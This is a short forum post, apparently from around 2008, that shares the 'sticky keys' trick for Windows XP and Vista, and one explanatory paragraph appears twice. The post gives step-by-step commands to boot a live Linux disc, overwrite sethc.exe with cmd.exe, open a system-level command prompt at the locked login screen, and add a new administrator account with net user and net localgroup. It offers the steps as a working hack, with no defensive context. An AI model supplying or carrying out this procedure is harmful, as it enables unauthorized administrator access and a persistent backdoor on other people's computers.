Joined
·
11,980 Posts
I?m not sure if you knew about this. A friend of mine just showed it to me, and it works in XP and Vistahttp://www.lockergnome.com/windows/2008/01/08/very-interesting-windows-thing/#
When you hit the shift key five times, windows opens sethc.exe to display the sticky keys menu ? even when the computer is logged off/locked. This will replace the sethc executable with a command prompt that will run at elevated privileges since there is no user logged in:
When you hit the shift key five times, windows opens sethc.exe to display the sticky keys menu ? even when the computer is logged off/locked. This will replace the sethc executable with a command prompt that will run at elevated privileges since there is no user logged in:
- Download, burn, and boot off of Backtrack Linux or something else with RW NTFS support.
- Mount your file system (mkdir /mnt/winderz && mount -t captive-ntfs /dev/hda1 /mnt/winderz)
- Move %SYSTEMROOT%\system32\sethc.exe to %SYSTEMROOT%\system32\sethc.exe.old
- Copy %SYSTEMROOT%\system32\cmd.exe to %SYSTEMROOT%\system32\sethc.exe
- Reboot into Windows; at login press shift 5 times in a row to activate sticky keys (sethc.exe), which should pop up a system level command prompt.
- Use the Net command to add a new user and add them to the administrator group? (net user newuser newpassword /ADD) and (net localgroup administrators newuser /ADD)
- Log in with your new user name and password!